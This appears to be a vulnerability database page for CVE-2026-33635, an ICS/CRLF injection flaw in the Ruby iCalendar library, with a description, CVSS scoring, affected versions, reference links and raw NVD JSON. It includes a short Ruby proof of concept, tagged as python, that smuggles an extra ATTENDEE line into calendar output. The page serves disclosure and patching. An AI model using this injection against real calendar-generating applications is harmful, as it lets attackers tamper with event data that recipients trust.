Security Vulnerability Report
中文
CVE-2026-33635 CVSS 4.3 MEDIUM

CVE-2026-33635

Published: 2026-03-26 21:17:07
Last Modified: 2026-04-10 15:49:23

Description

iCalendar is a Ruby library for dealing with iCalendar files in the iCalendar format defined by RFC-5545. Starting in version 2.0.0 and prior to version 2.12.2, .ics serialization does not properly sanitize URI property values, enabling ICS injection through attacker-controlled input, adding arbitrary calendar lines to the output. `Icalendar::Values::Uri` falls back to the raw input string when `URI.parse` fails and later serializes it with `value.to_s` without removing or escaping `\r` or `\n` characters. That value is embedded directly into the final ICS line by the normal serializer, so a payload containing CRLF can terminate the original property and create a new ICS property or component. (It looks like you can inject via url, source, image, organizer, attach, attendee, conference, tzurl because of this). Applications that generate `.ics` files from partially untrusted metadata are impacted. As a result, downstream calendar clients or importers may process attacker-supplied content as if it were legitimate event data, such as added attendees, modified URLs, alarms, or other calendar fields. Version 2.12.2 contains a patch for the issue.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:icalendar_project:icalendar:*:*:*:*:*:ruby:*:* - VULNERABLE
iCalendar >= 2.0.0, < 2.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
require 'icalendar' cal = Icalendar::Calendar.new event = cal.event do |e| e.dtstart = Icalendar::Values::Date.new('2026-03-26') e.dtend = Icalendar::Values::Date.new('2026-03-27') e.summary = "Regular Meeting" # PoC: Injecting CRLF into URI property to add arbitrary lines # Exploiting the fallback to raw string when URI.parse fails malicious_input = "http://example.com\r\nATTENDEE:mailto:[email protected]" e.url = Icalendar::Values::Uri.new(malicious_input) end puts cal.to_ics

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33635", "sourceIdentifier": "[email protected]", "published": "2026-03-26T21:17:07.287", "lastModified": "2026-04-10T15:49:23.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "iCalendar is a Ruby library for dealing with iCalendar files in the iCalendar format defined by RFC-5545. Starting in version 2.0.0 and prior to version 2.12.2, .ics serialization does not properly sanitize URI property values, enabling ICS injection through attacker-controlled input, adding arbitrary calendar lines to the output. `Icalendar::Values::Uri` falls back to the raw input string when `URI.parse` fails and later serializes it with `value.to_s` without removing or escaping `\\r` or `\\n` characters. That value is embedded directly into the final ICS line by the normal serializer, so a payload containing CRLF can terminate the original property and create a new ICS property or component. (It looks like you can inject via url, source, image, organizer, attach, attendee, conference, tzurl because of this). Applications that generate `.ics` files from partially untrusted metadata are impacted. As a result, downstream calendar clients or importers may process attacker-supplied content as if it were legitimate event data, such as added attendees, modified URLs, alarms, or other calendar fields. Version 2.12.2 contains a patch for the issue."}, {"lang": "es", "value": "iCalendar es una biblioteca de Ruby diseñada para gestionar archivos iCalendar en el formato definido por el RFC-5545. Desde la versión 2.0.0 hasta la versión 2.12.2, la serialización de archivos .ics no depura correctamente los valores de las propiedades URI, lo que permite la inyección ICS a través de entradas controladas por un atacante, añadiendo entradas de calendario arbitrarias a la salida. `Icalendar::Values::Uri` recurre a la cadena de entrada sin procesar cuando `URI.parse` falla y posteriormente la serializa con `value.to_s` sin eliminar ni escapar los caracteres \\r o \\n. Ese valor se incrusta directamente en la línea ICS final mediante el serializador normal, por lo que una carga útil que contenga CRLF puede terminar la propiedad original y crear una nueva propiedad o componente ICS. (Parece que, debido a esto, se puede inyectar a través de url, source, image, organizer, attach, attendee, conference y tzurl). Las aplicaciones que generan archivos `.ics` a partir de metadatos parcialmente no fiables se ven afectadas. Como resultado, los clientes de calendario o importadores posteriores pueden procesar el contenido proporcionado por el atacante como si se tratara de datos de eventos legítimos, tales como asistentes añadidos, URL modificadas, alarmas u otros campos del calendario. La versión 2.12.2 contiene un parche para este problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-93"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:icalendar_project:icalendar:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.12.2", "matchCriteriaId": "3BBE7B6B-857A-41B0-A38E-7FA77FDB1497"}]}]}], "references": [{"url": "https://github.com/icalendar/icalendar/commit/b8d23b490363ee5fffaec1d269a8618a912ca265", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/icalendar/icalendar/security/advisories/GHSA-pv9c-9mfh-hvxq", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/icalendar/CVE-2026-33635.yml", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}